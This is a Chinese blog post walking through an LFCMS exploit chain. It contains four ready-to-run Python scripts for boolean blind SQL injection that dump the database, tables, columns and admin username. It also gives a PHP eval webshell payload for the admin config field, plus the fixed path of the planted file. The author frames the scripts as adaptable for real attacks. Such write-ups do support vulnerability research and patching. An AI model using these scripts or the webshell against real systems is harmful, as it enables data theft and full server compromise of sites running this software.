LFCMS从前台SQL注入到后台getshell(含全部漏洞利用脚本)

今日复现cms漏洞的时候看上了之前未能解决的lfcms,上网搜索exp后陷入沉思...
前台SQL注入的exp只有获取数据库名的,也就是整套流程还需要自己改造,并且SQL注入完成后希望getshell,于是有了这篇文章
首先改造了一下获取数据库名的exp(其实是无所谓的)
这里需要注意几点
1.传递给id的参数必须是个负数,原因显然意见。因为我们是or语句,一旦前面的id=1就导致整个语句永远为真,以至于我们无法在通过页面的回显来判断是否正确。
2.在后续的exp中需要修改limit 0,1 为 1,1 直到出现满意的结果为止(这个地方的处理我还没有修改好,所以算是半自动脚本了,回来再研究一下...)
3.try后面的: if ‘test‘ in html.text:的“test”是因为我的资讯页面的标题就是test
这里面是布尔盲注产生的原理,放两张图:
*正确则返回含有test内容的资讯,错误则返回未找到该文章
LFCMS从前台SQL注入到后台getshell(含全部漏洞利用脚本)
LFCMS从前台SQL注入到后台getshell(含全部漏洞利用脚本)

所以实际条件请使用实际的页面内容,没有资讯去管理页面添加一下:
LFCMS从前台SQL注入到后台getshell(含全部漏洞利用脚本)
获取数据库名:

import requests
url = ‘http://192.168.72.130:8070/index.php/Home/News/index/?id[alias]=where id=-1 ‘
result = ‘‘
for i in range(1,50):
    print(‘-----------------------------‘)
    for j in range(32,127):
        payload = "or(select ascii(substr(database(),{},1))={}) ".format(i,j)
        temp = url+payload
        try:
            html = requests.get(temp,timeout=10)
            if ‘test‘ in html.text:
                result+=chr(j)
                print(result)
                break
        except:
            print(‘[-]error‘)

获取表名:这里存储管理员的表为 lf_member
limit 11,1

import requests
url = ‘http://192.168.72.130:8070/index.php/Home/News/index/?id[alias]=where id=-1 ‘
result = ‘‘
for i in range(1,50):
    print(‘-----------------------------‘) 
    for j in range(32,127):
        payload = "or(select ascii(substr(table_name,{},1)) from information_schema.tables where table_schema=‘lfdycms‘ limit 0,1) ={} ".format(i,j)
        temp = url+payload
        try:
            html = requests.get(temp,timeout=10)
            if ‘test‘ in html.text:
                result+=chr(j)
                print(result)
                break
        except:
            print(‘[-]error‘)

获取列名:

import requests
url = ‘http://192.168.72.130:8070/index.php/Home/News/index/?id[alias]=where id=-1 ‘
result = ‘‘
for i in range(1,50):
    print(‘-----------------------------‘) 
    for j in range(32,127):
        payload = "or(select ascii(substr(column_name,{},1)) from information_schema.columns where table_name=‘lf_member‘ limit 0,1) ={} ".format(i,j)
        temp = url+payload
        try:
            html = requests.get(temp,timeout=10)
            if ‘test‘ in html.text:
                result+=chr(j)
                print(result)
                break
        except:
            print(‘[-]error‘)

获取字段:

import requests
url = ‘http://192.168.72.130:8070/index.php/Home/News/index/?id[alias]=where id=-1 ‘
result = ‘‘
for i in range(1,50):
    print(‘-----------------------------‘)
    for j in range(32,127):
        payload = "or(select ascii(substr(username,{},1)) from lfdycms.lf_member  limit 0,1) ={} ".format(i,j)
        temp = url+payload
        try: 
            html = requests.get(temp,timeout=10)
            if ‘test‘ in html.text:
                result+=chr(j)
                print(result)
                break
        except:
            print(‘[-]error‘)

LFCMS从前台SQL注入到后台getshell(含全部漏洞利用脚本)

以上就是前台SQL注入利用的exp了
实战时候按照具体的名字一步一步的修改exp的payload部分就行
下面进行后台getshell
入口:index.php?s=admin
来到配置这里:
LFCMS从前台SQL注入到后台getshell(含全部漏洞利用脚本)

抓包,然后提交
搜索参数:user_sign_2
内容修改为:
%0a@eval($_POST[a]);//
(%0a换行逃逸注释,// 把后面的内容注释掉)
LFCMS从前台SQL注入到后台getshell(含全部漏洞利用脚本)

拿菜刀连接:
Application/Runtime/Temp/95a1fe934b68ebfee8468bf0bc4f0000.php
(后面这个是固定的,是DB_CONFIG_DATA的MD5值)
LFCMS从前台SQL注入到后台getshell(含全部漏洞利用脚本)

LFCMS从前台SQL注入到后台getshell(含全部漏洞利用脚本)

上一篇:MariaDB——显示所有数据库列表


下一篇:Oracle OCP 19c 认证1Z0-083考试题库(第1题)